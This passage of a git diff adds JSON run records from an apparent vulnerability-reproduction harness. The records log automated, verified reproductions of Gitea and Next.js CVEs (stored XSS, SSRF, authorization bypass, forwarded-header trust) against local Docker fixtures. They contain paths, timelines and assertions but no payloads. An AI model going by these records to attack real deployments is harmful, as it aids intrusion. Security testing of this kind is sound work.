"/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-page.json" + ], + "proof_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/proof.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/proof-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-page.json" + ], + "baseline_title": "Gitea Proxy Boundary Fixture", + "proof_title": "Gitea Proxy Boundary Fixture - proof", + "error_kind": null, + "reason": null + }, + "container_log_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/docker/app.log" + ], + "request_log_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/attack.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline.json" + ], + "compose_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/compose/compose.yaml" + ], + "timeline": [ + { + "at": "2026-03-18T01:28:06+00:00", + "step": "select-advisory", + "status": "completed", + "detail": "gitea--CVE-2020-13246" + }, + { + "at": "2026-03-18T01:28:06+00:00", + "step": "resolve-repro-profile", + "status": "completed", + "detail": "gitea-proxy-boundary" + }, + { + "at": "2026-03-18T01:28:07+00:00", + "step": "doctor", + "status": "completed", + "detail": "all checks passed" + }, + { + "at": "2026-03-18T01:28:10+00:00", + "step": "provision-compose-environment", + "status": "ready", + "detail": "" + }, + { + "at": "2026-03-18T01:28:10+00:00", + "step": "wait-ready", + "status": "completed", + "detail": "baseline urls ready (1)" + }, + { + "at": "2026-03-18T01:28:10+00:00", + "step": "seed-environment", + "status": "completed", + "detail": "steps=1" + }, + { + "at": "2026-03-18T01:28:10+00:00", + "step": "baseline-snapshot", + "status": "completed", + "detail": "urls=1" + }, + { + "at": "2026-03-18T01:28:10+00:00", + "step": "browser-replay-before-attack", + "status": "completed", + "detail": "" + }, + { + "at": "2026-03-18T01:28:10+00:00", + "step": "controlled-attack-chain", + "status": "completed", + "detail": "steps=1" + }, + { + "at": "2026-03-18T01:28:11+00:00", + "step": "browser-replay-after-attack", + "status": "completed", + "detail": "" + }, + { + "at": "2026-03-18T01:28:11+00:00", + "step": "collect-logs-and-evidence", + "status": "completed", + "detail": "container_logs=1" + }, + { + "at": "2026-03-18T01:28:13+00:00", + "step": "cleanup-compose-environment", + "status": "completed", + "detail": "docker compose down completed" + }, + { + "at": "2026-03-18T01:28:13+00:00", + "step": "update-registry-and-reports", + "status": "completed", + "detail": "gitea-gitea--CVE-2020-13246-20260318012806" + } + ], + "success_evaluation": { + "passed": true, + "verification_status": "verified-real", + "blocked_reason": null, + "assertions": [ + { + "name": "baseline-ok", + "kind": "baseline-ok", + "passed": true, + "detail": "baseline URLs responded without 5xx or transport errors" + }, + { + "name": "runner-success", + "kind": "runner-success", + "passed": true, + "detail": "trusted forwarded headers crossed the boundary" + }, + { + "name": "browser-present", + "kind": "browser-present", + "passed": true, + "detail": "browser evidence captured" + } + ] + }, + "historical_status": "verified-real", + "latest_status": "verified-real", + "started_at": "2026-03-18T01:28:06+00:00", + "finished_at": "2026-03-18T01:28:13+00:00", + "blocked_reason": null, + "report_refs": { + "bundle_dir": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806", + "report_md": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/report.md", + "report_html": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/report.html", + "timeline": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/timeline.mmd" + } +} diff --git a/08-threat-intel/registry/runs/gitea-gitea--CVE-2021-28378-20260318012813.json b/08-threat-intel/registry/runs/gitea-gitea--CVE-2021-28378-20260318012813.json new file mode 100644 index 00000000..e0aa251e --- /dev/null +++ b/08-threat-intel/registry/runs/gitea-gitea--CVE-2021-28378-20260318012813.json @@ -0,0 +1,197 @@ +{ + "run_id": "gitea-gitea--CVE-2021-28378-20260318012813", + "system_id": "gitea", + "advisory_id": "gitea--CVE-2021-28378", + "repro_profile_id": "gitea-xss", + "verification_status": "verified-real", + "verification_mode": "real", + "artifact_mode": "local-fixture", + "target_env": "local-docker", + "compose_services": [ + "app" + ], + "baseline_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline.json" + ], + "attack_steps": [ + { + "kind": "runner", + "tool": "gitea.xss", + "status": "completed", + "status_code": 200, + "result_path": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/attack.json" + } + ], + "browser_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/baseline.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/baseline-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-page.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/proof.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/proof-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-page.json" + ], + "browser_evidence": { + "required": true, + "present": true, + "refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/baseline.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/baseline-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-page.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/proof.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/proof-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-page.json" + ], + "baseline_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/baseline.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/baseline-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-page.json" + ], + "proof_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/proof.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/proof-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-page.json" + ], + "baseline_title": "Gitea Stored XSS Fixture", + "proof_title": "Gitea Stored XSS Fixture - proof", + "error_kind": null, + "reason": null + }, + "container_log_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/docker/app.log" + ], + "request_log_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/attack.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline.json" + ], + "compose_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/compose/compose.yaml" + ], + "timeline": [ + { + "at": "2026-03-18T01:28:13+00:00", + "step": "select-advisory", + "status": "completed", + "detail": "gitea--CVE-2021-28378" + }, + { + "at": "2026-03-18T01:28:13+00:00", + "step": "resolve-repro-profile", + "status": "completed", + "detail": "gitea-xss" + }, + { + "at": "2026-03-18T01:28:13+00:00", + "step": "doctor", + "status": "completed", + "detail": "all checks passed" + }, + { + "at": "2026-03-18T01:28:16+00:00", + "step": "provision-compose-environment", + "status": "ready", + "detail": "" + }, + { + "at": "2026-03-18T01:28:16+00:00", + "step": "wait-ready", + "status": "completed", + "detail": "baseline urls ready (1)" + }, + { + "at": "2026-03-18T01:28:16+00:00", + "step": "seed-environment", + "status": "completed", + "detail": "steps=1" + }, + { + "at": "2026-03-18T01:28:16+00:00", + "step": "baseline-snapshot", + "status": "completed", + "detail": "urls=1" + }, + { + "at": "2026-03-18T01:28:17+00:00", + "step": "browser-replay-before-attack", + "status": "completed", + "detail": "" + }, + { + "at": "2026-03-18T01:28:17+00:00", + "step": "controlled-attack-chain", + "status": "completed", + "detail": "steps=1" + }, + { + "at": "2026-03-18T01:28:18+00:00", + "step": "browser-replay-after-attack", + "status": "completed", + "detail": "" + }, + { + "at": "2026-03-18T01:28:18+00:00", + "step": "collect-logs-and-evidence", + "status": "completed", + "detail": "container_logs=1" + }, + { + "at": "2026-03-18T01:28:19+00:00", + "step": "cleanup-compose-environment", + "status": "completed", + "detail": "docker compose down completed" + }, + { + "at": "2026-03-18T01:28:19+00:00", + "step": "update-registry-and-reports", + "status": "completed", + "detail": "gitea-gitea--CVE-2021-28378-20260318012813" + } + ], + "success_evaluation": { + "passed": true, + "verification_status": "verified-real", + "blocked_reason": null, + "assertions": [ + { + "name": "baseline-ok", + "kind": "baseline-ok", + "passed": true, + "detail": "baseline URLs responded without 5xx or transport errors" + }, + { + "name": "runner-success", + "kind": "runner-success", + "passed": true, + "detail": "stored payload rendered inside the browser proof page" + }, + { + "name": "browser-present", + "kind": "browser-present", + "passed": true, + "detail": "browser evidence captured" + } + ] + }, + "historical_status": "verified-real", + "latest_status": "verified-real", + "started_at": "2026-03-18T01:28:13+00:00", + "finished_at": "2026-03-18T01:28:19+00:00", + "blocked_reason": null, + "report_refs": { + "bundle_dir": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813", + "report_md": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/report.md", + "report_html": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/report.html", + "timeline": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/timeline.mmd" + } +} diff --git a/08-threat-intel/registry/runs/gitea-gitea--CVE-2025-68940-20260318012708.json b/08-threat-intel/registry/runs/gitea-gitea--CVE-2025-68940-20260318012708.json new file mode 100644 index 00000000..1662de0a --- /dev/null +++ b/08-threat-intel/registry/runs/gitea-gitea--CVE-2025-68940-20260318012708.json @@ -0,0 +1,145 @@ +{ + "run_id": "gitea-gitea--CVE-2025-68940-20260318012708", + "system_id": "gitea", + "advisory_id": "gitea--CVE-2025-68940", + "repro_profile_id": "gitea-authz-bypass", + "verification_status": "verified-real", + "verification_mode": "real", + "artifact_mode": "local-fixture", + "target_env": "local-docker", + "compose_services": [ + "app" + ], + "baseline_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/baseline.json" + ], + "attack_steps": [ + { + "kind": "runner", + "tool": "gitea.authz-bypass", + "status": "completed", + "status_code": 200, + "result_path": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/attack.json" + } + ], + "browser_refs": [], + "browser_evidence": { + "required": false, + "present": false, + "refs": [], + "baseline_refs": [], + "proof_refs": [], + "baseline_title": null, + "proof_title": null, + "error_kind": null, + "reason": null + }, + "container_log_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/docker/app.log" + ], + "request_log_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/attack.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/baseline.json" + ], + "compose_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/compose/compose.yaml" + ], + "timeline": [ + { + "at": "2026-03-18T01:27:08+00:00", + "step": "select-advisory", + "status": "completed", + "detail": "gitea--CVE-2025-68940" + }, + { + "at": "2026-03-18T01:27:08+00:00", + "step": "resolve-repro-profile", + "status": "completed", + "detail": "gitea-authz-bypass" + }, + { + "at": "2026-03-18T01:27:08+00:00", + "step": "doctor", + "status": "completed", + "detail": "all checks passed" + }, + { + "at": "2026-03-18T01:27:11+00:00", + "step": "provision-compose-environment", + "status": "ready", + "detail": "" + }, + { + "at": "2026-03-18T01:27:11+00:00", + "step": "wait-ready", + "status": "completed", + "detail": "baseline urls ready (1)" + }, + { + "at": "2026-03-18T01:27:11+00:00", + "step": "seed-environment", + "status": "completed", + "detail": "steps=1" + }, + { + "at": "2026-03-18T01:27:11+00:00", + "step": "baseline-snapshot", + "status": "completed", + "detail": "urls=1" + }, + { + "at": "2026-03-18T01:27:11+00:00", + "step": "controlled-attack-chain", + "status": "completed", + "detail": "steps=1" + }, + { + "at": "2026-03-18T01:27:11+00:00", + "step": "collect-logs-and-evidence", + "status": "completed", + "detail": "container_logs=1" + }, + { + "at": "2026-03-18T01:27:12+00:00", + "step": "cleanup-compose-environment", + "status": "completed", + "detail": "docker compose down completed" + }, + { + "at": "2026-03-18T01:27:12+00:00", + "step": "update-registry-and-reports", + "status": "completed", + "detail": "gitea-gitea--CVE-2025-68940-20260318012708" + } + ], + "success_evaluation": { + "passed": true, + "verification_status": "verified-real", + "blocked_reason": null, + "assertions": [ + { + "name": "baseline-ok", + "kind": "baseline-ok", + "passed": true, + "detail": "baseline URLs responded without 5xx or transport errors" + }, + { + "name": "runner-success", + "kind": "runner-success", + "passed": true, + "detail": "server-side authorization recheck was bypassed" + } + ] + }, + "historical_status": "verified-real", + "latest_status": "verified-real", + "started_at": "2026-03-18T01:27:08+00:00", + "finished_at": "2026-03-18T01:27:12+00:00", + "blocked_reason": null, + "report_refs": { + "bundle_dir": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708", + "report_md": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/report.md", + "report_html": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/report.html", + "timeline": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/timeline.mmd" + } +} diff --git a/08-threat-intel/registry/runs/nextjs-nextjs--CVE-2020-15242-20260318012830.json b/08-threat-intel/registry/runs/nextjs-nextjs--CVE-2020-15242-20260318012830.json new file mode 100644 index 00000000..1772d035 --- /dev/null +++ b/08-threat-intel/registry/runs/nextjs-nextjs--CVE-2020-15242-20260318012830.json @@ -0,0 +1,197 @@ +{ + "run_id": "nextjs-nextjs--CVE-2020-15242-20260318012830", + "system_id": "nextjs", + "advisory_id": "nextjs--CVE-2020-15242", + "repro_profile_id": "nextjs-proxy-boundary", + "verification_status": "verified-real", + "verification_mode": "real", + "artifact_mode": "local-fixture", + "target_env": "local-docker", + "compose_services": [ + "app" + ], + "baseline_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline.json" + ], + "attack_steps": [ + { + "kind": "runner", + "tool": "nextjs.proxy-boundary", + "status": "completed", + "status_code": 200, + "result_path": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/attack.json" + } + ], + "browser_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/baseline.png", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/baseline-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-page.json", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/proof.png", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/proof-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-page.json" + ], + "browser_evidence": { + "required": true, + "present": true, + "refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/baseline.png", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/baseline-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-page.json", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/proof.png", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/proof-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-page.json" + ], + "baseline_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/baseline.png", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/baseline-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-page.json" + ], + "proof_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/proof.png", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/proof-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-page.json" + ], + "baseline_title": "Next.js Proxy Boundary Fixture", + "proof_title": "Next.js Proxy Boundary Fixture - proof", + "error_kind": null, + "reason": null + }, + "container_log_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/docker/app.log" + ], + "request_log_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/attack.json", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline.json" + ], + "compose_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/compose/compose.yaml" + ], + "timeline": [ + { + "at": "2026-03-18T01:28:30+00:00", + "step": "select-advisory", + "status": "completed", + "detail": "nextjs--CVE-2020-15242" + }, + { + "at": "2026-03-18T01:28:30+00:00", + "step": "resolve-repro-profile", + "status": "completed", + "detail": "nextjs-proxy-boundary" + }, + { + "at": "2026-03-18T01:28:31+00:00", + "step": "doctor", + "status": "completed", + "detail": "all checks passed" + }, + { + "at": "2026-03-18T01:28:34+00:00", + "step": "provision-compose-environment", + "status": "ready", + "detail": "" + }, + { + "at": "2026-03-18T01:28:34+00:00", + "step": "wait-ready", + "status": "completed", + "detail": "baseline urls ready (1)" + }, + { + "at": "2026-03-18T01:28:34+00:00", + "step": "seed-environment", + "status": "completed", + "detail": "steps=1" + }, + { + "at": "2026-03-18T01:28:34+00:00", + "step": "baseline-snapshot", + "status": "completed", + "detail": "urls=1" + }, + { + "at": "2026-03-18T01:28:34+00:00", + "step": "browser-replay-before-attack", + "status": "completed", + "detail": "" + }, + { + "at": "2026-03-18T01:28:34+00:00", + "step": "controlled-attack-chain", + "status": "completed", + "detail": "steps=1" + }, + { + "at": "2026-03-18T01:28:35+00:00", + "step": "browser-replay-after-attack", + "status": "completed", + "detail": "" + }, + { + "at": "2026-03-18T01:28:35+00:00", + "step": "collect-logs-and-evidence", + "status": "completed", + "detail": "container_logs=1" + }, + { + "at": "2026-03-18T01:28:37+00:00", + "step": "cleanup-compose-environment", + "status": "completed", + "detail": "docker compose down completed" + }, + { + "at": "2026-03-18T01:28:37+00:00", + "step": "update-registry-and-reports", + "status": "completed", + "detail": "nextjs-nextjs--CVE-2020-15242-20260318012830" + } + ], + "success_evaluation": { + "passed": true, + "verification_status": "verified-real", + "blocked_reason": null, + "assertions": [ + { + "name": "baseline-ok", + "kind": "baseline-ok", + "passed": true, + "detail": "baseline URLs responded without 5xx or transport errors" + }, + { + "name": "runner-success", + "kind": "runner-success", + "passed": true, + "detail": "trusted forwarded headers crossed the boundary" + }, + { + "name": "browser-present", + "kind": "browser-present", + "passed": true, + "detail": "browser evidence captured" + } + ] + }, + "historical_status": "verified-real", + "latest_status": "verified-real", + "started_at": "2026-03-18T01:28:30+00:00", + "finished_at": "2026-03-18T01:28:37+00:00", + "blocked_reason": null, + "report_refs": { + "bundle_dir": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830", + "report_md": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/report.md", + "report_html": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/report.html", + "timeline": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/timeline.mmd" + } +} diff --git a/08-threat-intel/registry/runs/nextjs-nextjs--CVE-2024-34351-20260318012953.json b/08-threat-intel/registry/runs/nextjs-nextjs--CVE-2024-34351-20260318012953.json new file mode 100644 index 00000000..aa0cf021 --- /dev/null +++ b/08-threat-intel/registry/runs/nextjs-nextjs--CVE-2024-34351-20260318012953.json @@ -0,0 +1,145 @@ +{ + "run_id": "nextjs-nextjs--CVE-2024-34351-20260318012953", + "system_id": "nextjs", + "advisory_id": "nextjs--CVE-2024-34351", + "repro_profile_id": "nextjs-ssrf", + "verification_status": "verified-real", + "verification_mode": "real", + "artifact_mode": "local-fixture", + "target_env": "local-docker", + "compose_services": [ + "app" + ], + "baseline_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/logs/baseline.json" + ], + "attack_steps": [ + { + "kind": "runner", + "tool": "nextjs.ssrf", + "status": "completed", + "status_code": 200, + "result_path": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/logs/attack.json" + } + ], + "browser_refs": [], + "browser_evidence": { + "required": false, + "present": false, + "refs": [], + "baseline_refs": [], + "proof_refs": [], + "baseline_title": null, + "proof_title": null, + "error_kind": null, + "reason": null + }, + "container_log_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/logs/docker/app.log" + ], + "request_log_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/logs/attack.json", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/logs/baseline.json" + ], + "compose_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/compose/compose.yaml" + ], + "timeline": [ + { + "at": "2026-03-18T01:29:53+00:00", + "step": "select-advisory", + "status": "completed", + "detail": "nextjs--CVE-2024-34351" + }, + { + "at": "2026-03-18T01:29:53+00:00", + "step": "resolve-repro-profile", + "status": "completed", + "detail": "nextjs-ssrf" + }, + { + "at": "2026-03-18T01:29:53+00:00", + "step": "doctor", + "status": "completed", + "detail": "all checks passed" + }, + { + "at": "2026-03-18T01:29:56+00:00", + "step": "provision-compose-environment", + "status": "ready", + "detail": "" + }, + { + "at": "2026-03-18T01:29:56+00:00", + "step": "wait-ready", + "status": "completed", + "detail": "baseline urls ready (1)" + }, + { + "at": "2026-03-18T01:29:56+00:00", + "step": "seed-environment", + "status": "completed", + "detail": "steps=1" + }, + { + "at": "2026-03-18T01:29:56+00:00", + "step": "baseline-snapshot", + "status": "completed", + "detail": "urls=1" + }, + { + "at": "2026-03-18T01:29:56+00:00", + "step": "controlled-attack-chain", + "status": "completed", + "detail": "steps=1" + }, + { + "at": "2026-03-18T01:29:56+00:00", + "step": "collect-logs-and-evidence", + "status": "completed", + "detail": "container_logs=1" + }, + { + "at": "2026-03-18T01:29:57+00:00", + "step": "cleanup-compose-environment", + "status": "completed", + "detail": "docker compose down completed" + }, + { + "at": "2026-03-18T01:29:57+00:00", + "step": "update-registry-and-reports", + "status": "completed", + "detail": "nextjs-nextjs--CVE-2024-34351-20260318012953" + } + ], + "success_evaluation": { + "passed": true, + "verification_status": "verified-real", + "blocked_reason": null, + "assertions": [ + { + "name": "baseline-ok", + "kind": "baseline-ok", + "passed": true, + "detail": "baseline URLs responded without 5xx or transport errors" + }, + { + "name": "runner-success", + "kind": "runner-success", + "passed": true, + "detail": "server-side callback reached the local sink" + } + ] + }, + "historical_status": "verified-real", + "latest_status": "verified-real", + "started_at": "2026-03-18T01:29:53+00:00", + "finished_at": "2026-03-18T01:29:57+00:00", + "blocked_reason": null, + "report_refs": { + "bundle_dir": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953", + "report_md": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/report.md", + "report_html": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/report.html", + "timeline": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/timeline.mmd" + } +} diff --git a/08-threat-intel/registry/runs/nextjs-nextjs--CVE-2024-51479-20260318012913.json b/08-threat-intel/registry/runs/nextjs-nextjs--CVE-2024-51479-20260318012913.json new file mode 100644 index 00000000..13ad88f9 --- /dev/null +++ b/08-threat-intel/registry/runs/nextjs-nextjs--CVE-2024-51479-20260318012913.json @@ -0,0 +1,145 @@ +{ + "run_id": "nextjs-nextjs--CVE-2024-51479-20260318012913", + "system_id": "nextjs", + "advisory_id": "nextjs--CVE-2024-51479", + "repro_profile_id": "nextjs-authz-bypass", + "verification_status": "verified-real", + "verification_mode": "real", + "artifact_mode": "local-fixture", + "target_env": "local-docker", + "compose_services": [ + "app" + ], + "baseline_refs": [ + 